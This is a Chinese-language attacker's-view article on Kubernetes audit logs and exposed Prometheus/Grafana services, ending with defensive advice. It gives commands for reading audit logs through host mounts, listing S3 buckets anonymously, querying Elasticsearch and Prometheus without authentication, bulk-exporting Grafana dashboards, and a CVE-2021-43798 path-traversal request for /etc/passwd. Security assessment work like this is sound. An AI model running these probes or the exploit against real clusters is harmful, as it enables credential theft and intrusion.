针对 Kubernetes 日志与监控系统 的详细攻击视角分析,聚焦 集群审计日志 和 Prometheus/Grafana 暴露 的潜在风险及利用方法
攻击链示例
txt
1. 攻击者通过容器逃逸进入 Pod →
2. 发现未认证的 Prometheus 服务 →
3. 查询环境变量标签获取数据库密码 →
4. 通过审计日志发现高权限 ServiceAccount 活动 →
5. 伪造 Token 接管集群控制权。
集群审计日志(Audit Log)攻击场景
**目标:**通过访问未受保护的审计日志,提取高权限操作记录(如 kubectl exec、Secret 访问)、服务账户 Token 使用痕迹,为横向移动提供线索。
1.定位审计日志存储位置
检查审计日志配置
检查Kubernetes API Server的审计策略配置是确保集群安全的重要步骤之一。通过审计日志,可以追踪谁在何时对API进行了何种操作,这对于检测潜在的安全威胁和事后分析至关重要。
要查看API Server当前使用的审计策略配置文件路径,可以通过以下命令获取kube-apiserver Pod的详细信息,并查找与审计策略相关的参数:
shell
kubectl get pod kube-apiserver-control-plane -n kube-system -o yaml | grep audit-policy
执行上述命令后,你可能会看到类似如下的输出:
shell
- --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml
下面是一个简单的审计策略示例,它记录所有请求的元数据(如用户、时间戳等),并对读取和写入操作进行更详细的记录:
shell
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
- resources:
- group: ""
resources: ["pods"]
verbs: ["create", "update", "delete"]
level: RequestResponse
在这个示例中:
- 所有请求至少记录元数据(level: Metadata)。
- 对于pods资源上的create、update和delete操作,将记录完整的请求和响应内容(level: RequestResponse)。
发现日志存储后端
根据日志存储的位置,攻击者可能会有不同的方法来尝试访问这些敏感数据。
- 本地文件:若日志存储在节点本地(如 /var/log/kubernetes/audit),攻击者可通过挂载宿主机目录窃取。
- 集中存储:如 Elasticsearch、S3 存储桶等,需进一步探测访问权限。
2.窃取审计日志数据
直接读取本地日志文件
如果攻击者已经获得了对Kubernetes节点的控制权,或者能够通过挂载宿主机目录的方式在Pod中访问宿主机上的文件,那么他们可能直接读取存储在节点本地的日志文件,包括审计日志。这为获取敏感信息提供了途径,尤其是当这些日志包含高权限操作记录时。
假设攻击者已经成功地将宿主机器的日志目录挂载到了Pod内,他们可以使用以下命令来读取和分析审计日志文件:
读取审计日志文件
shell
cat /host/var/log/kubernetes/audit/audit.log
这里的/host/var/log/kubernetes/audit/audit.log是挂载到Pod内的宿主机日志文件路径,实际路径可能会根据具体的挂载配置有所不同。
过滤高权限操作记录
如果想要专门查找某些特定的操作(如执行命令),并且关注的是由特定服务账户发起的操作,可以使用grep命令进行过滤。例如,查找所有由kube-system命名空间下的admin服务账户执行的exec命令:
shell
grep "exec" audit.log | grep "user\":\"system:serviceaccount:kube-system:admin"
这个命令首先会在audit.log文件中搜索包含exec关键字的行,然后进一步筛选出那些用户字段中包含system:serviceaccount:kube-system:admin的服务账户执行的操作。
访问未受保护的集中存储
在云环境中,尤其是使用Amazon S3作为审计日志或其他敏感数据的存储后端时,确保这些存储桶的安全配置至关重要。错误配置的S3存储桶可能会允许匿名用户访问或下载其中的数据,这对安全性构成了严重威胁。
通过以下命令,可以尝试以匿名方式列出S3存储桶中的内容或复制文件到本地:
列出S3存储桶的内容
shell
aws s3 ls s3://audit-logs-bucket/ --no-sign-request
这个命令尝试以匿名身份(即不使用任何AWS凭证)列出名为audit-logs-bucket的S3存储桶中的文件和目录。如果该存储桶的权限设置为允许公共读取,则此命令将成功返回存储桶内的对象列表。
从S3存储桶复制文件到本地
如果发现某个特定的日志文件可以被匿名访问,你可以使用以下命令将其下载到本地:
shell
aws s3 cp s3://audit-logs-bucket/cluster-audit.log .
此命令会尝试将audit-logs-bucket存储桶中的cluster-audit.log文件下载到当前工作目录下。同样,这也依赖于存储桶是否允许匿名用户的读取权限。
Elasticsearch 未授权访问
如果Elasticsearch实例配置不当,允许未授权访问,这可能会导致敏感信息的泄露,包括但不限于Kubernetes集群中的审计日志。这些日志可能包含有关创建、更新或删除资源(如Secrets)的重要信息。
使用curl命令可以直接向Elasticsearch发送请求,以检测是否存在未授权访问的情况。以下是一个示例命令,用于搜索所有包含特定条件的日志条目:
shell
curl http://xx.xx.xx.xx:9200/_search?q=verb:"create"+AND+objectRef.resource:"secrets"
在这个例子中:
- http://10.96.0.100:9200 是Elasticsearch服务的地址和端口。
- /_search 是Elasticsearch的搜索API端点。
- q=verb:"create"+AND+objectRef.resource:"secrets" 是查询参数,用于查找所有动作为* * * create且涉及资源类型为secrets的日志条目。
如果该请求成功返回结果,说明Elasticsearch实例可能存在未授权访问的风险。
3.敏感信息提取示例
审计日志条目可能包含以下关键信息:
请在此输入代码块语言
{
"user": {"username": "system:serviceaccount:kube-system:admin"},
"verb": "create",
"objectRef": {
"resource": "secrets",
"name": "database-credentials",
"namespace": "default"
},
"requestURI": "/api/v1/namespaces/default/secrets"
}
- 用户信息 (user):
"username": "system:serviceaccount:kube-system:admin":指示执行此操作的用户是kube-system命名空间下的admin服务账户。这可能是集群管理员或具有高权限的服务账户。 - 操作类型 (verb):
"verb": "create":表明这是一个创建操作。在这个例子中,某个实体正在尝试创建一个新的资源。 - 对象引用 (objectRef):
"resource": "secrets":指出被操作的对象类型为Secret。Secrets通常用于存储敏感数据,如密码、API密钥等。
"name": "database-credentials":具体的Secret名称,这里表示与数据库凭证相关的Secret。
"namespace": "default":指定了该Secret所在的命名空间。 - 请求URI (requestURI):
"/api/v1/namespaces/default/secrets":显示了此次请求的具体API路径,进一步确认了操作发生在哪个API版本及命名空间下。
通过上述系列步骤,可以发现高权限 ServiceAccount 的操作记录,用于伪造 Token 或重放请求。
Prometheus/Grafana 暴露攻击场景
目标:通过未授权的监控接口获取节点/Pod 资源指标、服务依赖拓扑,甚至通过标签(Labels)泄露敏感信息。
发现 Prometheus/Grafana 服务
扫描集群内部服务
为了识别和访问集群内部部署的服务,如监控工具Prometheus和Grafana,可以通过Kubernetes的kubectl命令行工具查询相关服务的信息。这些信息通常包括服务的名称、类型、集群IP以及端口号等,这对于后续的安全评估或管理操作非常重要。
使用以下命令可以查找位于monitoring命名空间下的Prometheus(默认端口9090)和Grafana(默认端口3000)服务:
shell
kubectl get svc -n monitoring | grep -E 'prometheus|grafana'
执行上述命令后,你可能会看到类似如下的输出:
shell
prometheus-svc ClusterIP 10.96.0.200 <none> 9090/TCP 10d
grafana-svc ClusterIP 10.96.0.201 <none> 3000/TCP 10d
在这个示例中:
- prometheus-svc 是Prometheus服务的名称,它被分配了一个ClusterIP 10.96.0.200,并且监听在端口9090/TCP上。
- grafana-svc 是Grafana服务的名称,它的ClusterIP是10.96.0.201,并监听在端口3000/TCP上。
如果你在一个运行在集群内的Pod中工作,可以直接使用服务名进行访问。例如,要访问Prometheus UI,可以在Pod内执行:
shell
curl http://prometheus-svc:9090
通过端口转发访问:如果需要从集群外部访问这些服务,可以使用kubectl port-forward命令将服务端口转发到本地机器上的任意端口。例如,要访问Grafana界面,可以执行:
shell
kubectl port-forward svc/grafana-svc 3000:3000 -n monitoring
然后,在浏览器中打开http://localhost:3000即可访问Grafana界面。
绕过认证访问接口
匿名访问 Grafana
如果Grafana实例未正确配置认证和授权机制,可能会允许匿名用户访问其接口和数据,这将构成重大的安全风险。通过发送一个简单的HTTP请求到Grafana的API端点,可以测试是否启用了登录认证。
使用curl命令向Grafana服务发送请求以检查是否允许匿名访问:
shell
curl -v http://10.96.0.201:3000/api/dashboards/home
在这个例子中:
- -v 参数用于显示详细的通信过程,包括请求头和响应头。
- http://10.96.0.201:3000/api/dashboards/home 是目标URL,指向Grafana实例的首页仪表板API端点。
如果请求成功并返回状态码200 OK,这意味着未启用登录认证,任何用户都可以无需登录即可访问Grafana的资源。
Prometheus API 未授权
如果Prometheus实例没有正确配置认证和授权,可能会允许任何人通过其API访问敏感信息,如监控目标的详细信息(包括Pod IP和端口)。这将构成潜在的安全风险,因为这些信息可以被攻击者利用来进一步探索集群内部结构或发起针对性攻击。
使用curl命令可以直接向Prometheus的API发送请求,以测试是否启用了访问控制。以下是一个示例命令,用于获取所有监控目标的信息:
shell
curl http://xx.xx.xx.xx:9090/api/v1/targets
如果请求成功并返回了JSON格式的数据列表,这意味着Prometheus实例可能允许未授权访问。响应中的数据通常包含监控目标的详细信息,如Pod IP地址、端口号等。
shell
{
"status": "success",
"data": {
"activeTargets": [
{
"discoveredLabels": {},
"labels": {
"__address__": "10.244.0.4:9100",
"job": "kubernetes-pods"
},
"scrapePool": "kubernetes-pods/0",
"scrapeUrl": "http://10.244.0.4:9100/metrics",
"globalUrl": "http://10.244.0.4:9100/metrics",
"lastError": "",
"lastScrape": "2025-02-11T09:39:12.123456789Z",
"lastScrapeDuration": 0.002345678,
"health": "up"
}
]
}
}
利用 PromQL 查询敏感数据
提取 Pod 环境变量
某些部署工具可能会将应用的配置信息,包括敏感数据如数据库密码等,以环境变量的形式注入到容器中。如果这些环境变量被错误地包含在暴露给Prometheus的指标标签中,那么它们就可能通过Prometheus的API公开,导致敏感信息泄露。
为了检查是否存在这样的风险,可以通过Prometheus的查询API来检索特定命名空间下的Pod容器信息,并查看是否包含环境变量作为指标标签的一部分。以下是一个示例命令:
shell
curl -G http://10.96.0.200:9090/api/v1/query \
--data-urlencode 'query=kube_pod_container_info{namespace="default"}'
在这个例子中:
- -G 参数表示使用GET方法并将所有数据附加到URL查询字符串中。
- --data-urlencode 'query=kube_pod_container_info{namespace="default"}' 是请求体中的查询参数,用于从Prometheus获取位于default命名空间下所有Pod容器的信息。
如果查询返回的数据中包含了类似如下的内容,则说明存在敏感信息泄露的风险:
shell
{
"status": "success",
"data": {
"resultType": "vector",
"result": [
{
"metric": {
"__name__": "kube_pod_container_info",
"env": "DB_PASSWORD=Pa$$w0rd",
"namespace": "default",
"pod": "example-pod"
},
"value": [1676078400, "1"]
}
]
}
}
在此示例中,可以看到环境变量env="DB_PASSWORD=Pa$$w0rd"直接暴露在了Prometheus的指标标签中,这显然是不安全的做法。
服务拓扑与依赖分析
通过分析Prometheus中的服务指标,可以推断出Kubernetes集群内部的服务架构及其依赖关系。这对于理解系统的整体健康状况、优化资源分配以及识别潜在的安全风险都非常重要。以下是如何使用Prometheus查询来获取HTTP请求量最高的服务作为例子进行服务拓扑和依赖分析的方法。
要找出HTTP请求量最高的服务,可以使用Prometheus的查询功能来计算一段时间内的请求速率,并按服务分组排序。以下是一个示例命令:
shell
curl -G http://10.96.0.200:9090/api/v1/query \
--data-urlencode 'query=topk(5, sum(rate(http_requests_total[5m])) by (service))'
在这个例子中:
- -G 参数表示使用GET方法并将所有数据附加到URL查询字符串中。
- --data-urlencode 'query=topk(5, sum(rate(http_requests_total5m)) by (service))' 是请求体中的查询参数,用于从Prometheus获取过去5分钟内每个服务的HTTP请求数量,并返回前5个(即请求量最高的5个服务)。
- rate(http_requests_total5m):计算每秒的HTTP请求数量,基于最近5分钟的数据。
- sum(...) by (service):对相同服务的所有实例的请求速率求和,并按服务名称分组。
- topk(5, ...):从结果中选取前5个服务,这些服务具有最高的HTTP请求速率。
假设Prometheus返回了如下JSON格式的数据:
shell
{
"status": "success",
"data": {
"resultType": "vector",
"result": [
{
"metric": {
"service": "frontend"
},
"value": [1676080400, "350"]
},
{
"metric": {
"service": "backend"
},
"value": [1676080400, "200"]
},
{
"metric": {
"service": "auth-service"
},
"value": [1676080400, "150"]
},
{
"metric": {
"service": "payment"
},
"value": [1676080400, "100"]
},
{
"metric": {
"service": "inventory"
},
"value": [1676080400, "50"]
}
]
}
}
在这个示例中,可以看到每个服务在过去5分钟内的平均HTTP请求数量(第二项为值),例如frontend服务有350次请求,是请求量最高的服务。
Grafana 面板数据泄露
导出所有仪表盘配置
为了导出Grafana中的所有仪表盘配置,可以利用Grafana提供的RESTful API来获取每个仪表盘的详细信息。你提供的命令是一个有效的起点,它首先搜索所有仪表盘以获取它们的UID,然后针对每一个UID请求详细的仪表盘数据,仪表盘可能包含数据库连接字符串、内部服务 IP以下是对你提供的命令的解释以及如何正确执行此操作:
shell
# 获取所有仪表盘的UID列表
uids=$(curl -s http://10.96.0.201:3000/api/search?query= | jq -r '.[].uid')
# 遍历每个UID并下载对应的仪表盘数据
for uid in $uids; do
curl -s http://10.96.0.201:3000/api/dashboards/uid/$uid > "dashboard_$uid.json"
done
如果希望将所有仪表盘合并到一个文件中,并且保持有效的JSON格式,你可以这样做:
shell
# 获取所有仪表盘的UID列表
uids=$(curl -s http://10.96.0.201:3000/api/search?query= | jq -r '.[].uid')
# 开始构建JSON数组
echo '[' > dashboards.json
# 遍历每个UID并下载对应的仪表盘数据,同时添加逗号分隔
first=true
for uid in $uids; do
if [ "$first" = true ]; then
first=false
else
echo ',' >> dashboards.json
fi
curl -s http://10.96.0.201:3000/api/dashboards/uid/$uid >> dashboards.json
done
# 结束JSON数组
echo ']' >> dashboards.json
这样,你就可以获得一个包含所有仪表盘配置的有效JSON文件了。注意,在执行这些命令之前,请确认已经安装了curl和jq工具,并且有权限访问Grafana实例。此外,如果Grafana启用了认证,则需要在请求中加入相应的认证头(如API密钥)。
利用 CVE-2021-43798(路径遍历漏洞)
CVE-2021-43798 是 Grafana 中的一个路径遍历漏洞,它允许攻击者通过构造特制的HTTP请求来访问服务器上的任意文件。此漏洞影响了Grafana 8.0.0-beta1至8.3.0版本(不包括补丁版本),并且已经在后续更新中得到了修复。如果运行的是这些受影响的版本且未打补丁,则存在安全风险。
下面是一个利用该漏洞读取/etc/passwd文件的例子:
shell
curl --path-as-is http://10.96.0.201:3000/public/plugins/alertlist/../../../../../../etc/passwd
在这个例子中:
- --path-as-is 参数确保URL路径按照提供的形式发送,而不进行任何规范化处理。
- /public/plugins/alertlist/ 是一个合法的插件路径,后面跟着一系列.../用于向上遍历目录层级,最终指向/etc/passwd文件。
总结
日志与监控系统是攻击者的"情报金矿",防御需从存储安全、访问控制、数据脱敏三个维度构建防护体系,并确保监控系统自身不被反向利用!